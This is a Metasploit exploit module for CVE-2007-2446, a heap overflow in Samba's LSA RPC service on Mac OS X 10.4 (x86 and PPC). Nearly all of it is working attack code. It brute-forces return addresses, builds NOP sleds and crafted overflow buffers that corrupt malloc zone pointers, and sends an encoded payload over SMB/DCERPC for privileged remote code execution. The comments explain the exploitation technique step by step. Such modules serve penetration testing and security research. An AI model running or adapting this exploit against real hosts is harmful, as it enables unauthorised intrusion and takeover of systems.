##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
      'Description'    => %q{
        This module triggers a heap overflow in the LSA RPC service
      of the Samba daemon. This module uses the szone_free() to overwrite
      the size() or free() pointer in initial_malloc_zones structure.
      },
      'Author'         =>
        [
          'Ramon de C Valle',
          'Adriano Lima <adriano[at]risesecurity.org>',
          'hdm'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-2446'],
          ['OSVDB', '34699'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
        },
      'Platform'       => 'osx',
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
        },
      'Targets'        =>
        [
          ['Mac OS X 10.4.x x86 Samba 3.0.10',
          {
            'Platform'      => 'osx',
            'Arch'          => [ ARCH_X86 ],
            'Nops'          => 4 * 1024,
            'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x01818000 },
                'Stop'  => { 'Ret' => 0x01830000 },
                'Step'  => 3351,
              },
          }
          ],
          ['Mac OS X 10.4.x PPC Samba 3.0.10',
          {
            'Platform'      => 'osx',
            'Arch'          => [ ARCH_PPC ],
            'Nops'          => 1600,
            'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x01813000 },
                'Stop'  => { 'Ret' => 0x01830000 },
                'Step'  => 796,
              }
          }
          ],
          ['DEBUG',
          {
            'Platform'      => 'osx',
            'Arch'          => [ ARCH_X86 ],
            'Nops'          => 4 * 1024,
            'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0xaabbccdd },
                'Stop'  => { 'Ret' => 0xaabbccdd },
                'Step'  => 0,
              }
          }
          ],
        ],
      'DisclosureDate' => '2007-05-14'
      ))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
      ])

  end

  # Handle a strange byteswapping issue on PPC
  def ppc_byteswap(addr)
    data = [addr].pack('N')
    (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
  end

  def brute_exploit(target_addrs)

    if(not @nops)
      if (target['Nops'] > 0)
        print_status("Creating nop sled....")
        @nops = make_nops(target['Nops'])
      else
        @nops = ''
      end
    end

    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

    pipe = datastore['SMBPIPE'].downcase

    print_status("Connecting to the SMB service...")
    connect()
    smb_login()

    datastore['DCERPC::fake_bind_multi'] = false

    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    num_entries  = 256
    num_entries2 = 257

    #
    # First talloc_chunk
    # 16 bits align
    # 16 bits sid_name_use
    #     16 bits uni_str_len
    #     16 bits uni_max_len
    #     32 bits buffer
    # 32 bits domain_idx
    #
    buf = (('A' * 16) * num_entries)

    # Padding
    buf << 'A' * 4

    #
    # Use the szone_free() to overwrite the size() pointer in
    # initial_malloc_zones structure.
    #
    size_pointer = 0x1800008

    # Initial nops array
    nops = ''

    # x86
    if (target.arch.include?(ARCH_X86))

      #
      # We don't use the size() pointer anymore because it
      # results in a unexpected behavior when smbd process
      # is started by launchd.
      #
      free_pointer = 0x1800018
      nop = "\x16"

      #
      # First talloc_chunk
      # 16 bits align
      # 16 bits sid_name_use
      #     16 bits uni_str_len
      #     16 bits uni_max_len
      #     32 bits buffer
      # 32 bits domain_idx
      #

      # First nop block
      buf = ((nop * 16) * num_entries)

      #
      # A nop block of 0x16 (pushl %ss) and the address of
      # 0x1800014 results in a jns instruction which when
      # executed will jump over the address written eight
      # bytes past our target address by szone_free() (the
      # sign flag is zero at the moment our target address is
      # executed).
      #
      # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
      #
      # This is the output of the sequence of xor operations
      #   0:   79 23                   jns    0x25
      #   2:   96                      xchgl  %eax,%esi
      #   3:   17                      popl   %ss
      #   4:   16                      pushl  %ss
      #   5:   16                      pushl  %ss
      #   6:   16                      pushl  %ss
      #   7:   16                      pushl  %ss
      #   8:   14 00                   adcb   $0x0,%al
      #   a:   80 01 16                addb   $0x16,(%ecx)
      #
      # This jump is needed because the ecx register does not
      # point to a valid memory location in free() context
      # (it is zero).
      #
      # The jump will hit our nop block which will be executed
      # until it reaches the payload.
      #

      # Padding nops
      buf << nop * 2

      # Jump over the pointers
      buf << "\xeb\x08"

      # Pointers
      buf << [target_addrs['Ret']].pack('V')
      buf << [free_pointer - 4].pack('V')

      #
      # We expect to hit this nop block or the one before
      # the pointers.
      #
      buf << nop * (3852 - 8 - payload.encoded.length)

      # Payload
      buf << payload.encoded

      # Padding nops
      buf << nop * 1024

      stub = lsa_open_policy(dcerpc)

      stub << NDR.long(0)            # num_entries
      stub << NDR.long(0)            # ptr_sid_enum
      stub << NDR.long(num_entries)  # num_entries
      stub << NDR.long(0x20004)      # ptr_trans_names
      stub << NDR.long(num_entries2) # num_entries2
      stub << buf

    # PPC
    else

      #
      #  The first half of the nop sled is an XOR encoded branch
      #  instruction. The second half is a series of unencoded nop
      #  instructions. The result is:
      #
      #  > This is the decoded branch instruction
      #  0x181c380:      bl      0x181c6a0
      #
      #  > The size pointer is written below this
      #  0x181c384:      .long 0x1800004
      #
      #  > Followed by the encoded branch sled
      #  0x181c388:      ba      0x180365c
      #  [ ... ]
      #
      #  > The branch lands in the normal nop sled
      #  0x181c6a0:      andi.   r17,r16,58162
      #  [ ... ]
      #
      #  > Finally we reach our payload :-)
      #

      size_pointer = size_pointer - 4

      sled = target['Nops']
      jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
      nops = (jump * (sled / 8)) + @nops[0, sled / 8]

      addr_size = ppc_byteswap(size_pointer)
      addr_ret  = ppc_byteswap(target_addrs['Ret'])

      # This oddness is required for PPC
      buf << [addr_size].pack('N')
      buf << [addr_ret ].pack('N')[2,2]
      buf << [addr_ret ].pack('N')

      # Padding
      buf << "A" * (256 - 10)

      stub = lsa_open_policy(dcerpc)

      stub << NDR.long(0)            # num_entries
      stub << NDR.long(0)            # ptr_sid_enum
      stub << NDR.long(num_entries)  # num_entries
      stub << NDR.long(0x20004)      # ptr_trans_names
      stub << NDR.long(num_entries2) # num_entries2
      stub << buf
      stub << nops
      stub << payload.encoded
    end

    print_status("Calling the vulnerable function...")

    begin
      # LsarLookupSids
      dcerpc.call(0x0f, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
      print_status('Server did not respond, this is expected')
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      print_error('Server is most likely patched...')
    rescue => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      else
        print_error("Error: #{e.class}: #{e}")
      end
    end

    handler
    disconnect
  end

  def lsa_open_policy(dcerpc, server="\\")

    stubdata =
      # Server
      NDR.uwstring(server) +
      # Object Attributes
        NDR.long(24) + # SIZE
        NDR.long(0)  + # LSPTR
        NDR.long(0)  + # NAME
        NDR.long(0)  + # ATTRS
        NDR.long(0)  + # SEC DES
          # LSA QOS PTR
          NDR.long(1)  + # Referent
          NDR.long(12) + # Length
          NDR.long(2)  + # Impersonation
          NDR.long(1)  + # Context Tracking
          NDR.long(0)  + # Effective Only
      # Access Mask
      NDR.long(0x02000000)

    res = dcerpc.call(6, stubdata)

    dcerpc.last_response.stub_data[0,20]
  end
end
